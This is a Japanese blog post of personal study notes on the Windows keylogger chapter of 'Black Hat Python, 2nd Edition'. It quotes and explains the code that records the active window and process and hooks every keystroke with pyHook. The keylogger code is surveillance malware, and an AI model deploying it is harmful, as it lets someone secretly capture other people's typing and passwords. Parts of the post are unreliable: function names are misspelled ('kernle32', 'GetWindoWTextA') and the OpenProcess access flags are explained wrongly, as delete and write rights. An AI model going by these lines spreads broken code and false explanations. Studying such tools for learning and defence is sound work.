Pythonでキーロガー(for Windows)

BlackHatPython(2nd edition)を読むpython

Black Hat Python, 2nd Edition
Python Programming for Hackers and Pentesters
by Justin Seitz and Tim Arnold
no starch press
April 2021, 216 pp.

本記事は『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』の要点整理及び自分の理解度確認を目的として書いたものです。ここで解説する本書中のソースコードは全てno starch pressのサイトから誰でもフリーでダウンロードできます。自分の理解が及ばず誤りが散見される可能性がありますがご了承ください。

流石に本書に書いてある文章をそのまま訳してつらつら書くわけにはいかない。

 

ここでは誰でもフリーにダウンロードできる本書中のソースコードにおいて、大切な所や少し難しい所の説明を軽く挟んでいくだけ。

はしょった部分も沢山ある。

 

重要な部分は実際に本書を読まなければ知ることができない。

 

本書をすでに購入済みの人がその本片手に参考にするような記事になっている。

 

是非『Black Hat Python, 2nd Edition Python Programming for Hackers and Pentesters』を手に取ってその周辺の重要な説明部分にも目を通すことを勧める。

スポンサーリンク

KeyLoggerクラスのメソッドget_current_process

このメソッドは、そのキーログを得たタイミングでのプロセス名、プロセスID、その時点でアクティブだったウィンドウのタイトルを同時に表示してくれる。

それを実現するためにctypesモジュールでWindowsAPIを利用してるから少々難しい。

 

大まかな流れは

GetForegroundWindowでそのタイミングでのアクティビティウィンドウのウィンドウハンドルを取得

GetWindowThreadProcessIdでプロセスID取得

OpenProcessでプロセスハンドル取得

GetModuleBaseNameAでプロセス名を取得

GetWindowTextAでウィンドウのタイトルバー(ウィンドウのタイトルを得るため)を取得

 

  • ウィンドウハンドル…コンピュータがウィンドウを識別するための管理番号
  • プロセスハンドル…プロセスを識別するための管理番号(プロセスをWindowsAPI経由で操作する時のもの)
  • プロセスID…システム内でプロセスを識別するための各プロセス固有のID

 

 

hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.value}'                

hwndがウィンドウハンドル。
pidはunsigned longのサイズ0で用意しておく。

GetWindowThreadProcessIdには、「ウィンドウハンドル」と「プロセスIDを受け取る変数へのポインタ」の二つを指定。

byrefはポインタのこと。
このためにpidはサイズ0で初期化しておいた。

これで変数pidにプロセスIDがコピーされた。

 

executable = create_string_buffer(512)
h_process = windll.kernle32.OpenProcess(0x400 | 0x10, False, pid)
windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

executableは可変長の文字バッファ。
OpenProcessには、アクセス権とプロセスIDを指定してプロセスハンドルを取得。

 

0x40はディレクトリの場合、ディレクトリとそれに含まれるすべてのファイル (読み取り専用ファイルを含む) を削除する権限。

0x10は書き込み権限。

(パイプ記号「|」は「または」の意味)

windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

これでプロセス名を取得している。
もっと言うと、用意しておいたバッファexecutableにプロセス名を格納してる。

 

window_title = create_string_buffer(512)
windll.user32.GetWindoWTextA(hwnd, byref(window_title), 512)

window_titleっちゅーバッファを用意。

GetWindowTextAの第一引数で指定したウィンドウハンドル、に対するウィンドウのタイトルバーを第二引数で指定したバッファに格納する。

run関数について

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()

    kl = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
        
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()
        
    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log

最初の方にあるのが標準出力の取り扱い。

sys.stdoutを一旦save_stdoutに待避させ、StringIO()sys.stdoutに代入することで標準出力をファイルライク(file-like)に扱える。

 

だから最後の方でsys.stdoutに対してgetvale()関数(これはファイルの中身を全て取り出す関数)を適用して標準出力を得ることができている。

save_stdoutに待避させておいたのをsys.stdoutに代入して元通り。

 

kl = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()

1行目でHookManagerオブジェクトを作る。

KeyDownにコールバック関数としてKeyLoggerクラスのmykeystrokeメソッドを指定。

HookKeyboard()で全ての打鍵を監視・フックする。

 

正直ここはpyHookのお決まり文句と考えていいと思う。

 

while time.thread_time() < TIMEOUT:
   pythoncom.PumpWaitingMessages()

time.thread_timeは、現在のスレッドにおけるシステムとCPU稼働の合計時間。

pythoncom.PumpWaitingMessages()で現在のスレッドのメッセージを全て吐き出す。

個人的感想

😫

難しい!

これまだ一節の中の一項目分だぞ!

一項目やるだけで超時間かかった。

 

でも訳分からんコードをただ書き写すの気持ち悪いし、ある程度理解しながらやった方が自分のためになる。

終わらせることが目的じゃない。

 

でもスケジュール的に早く終わらせておきたい。

これChapter8だけどChapter12で終わるから頑張る!

タイトルとURLをコピーしました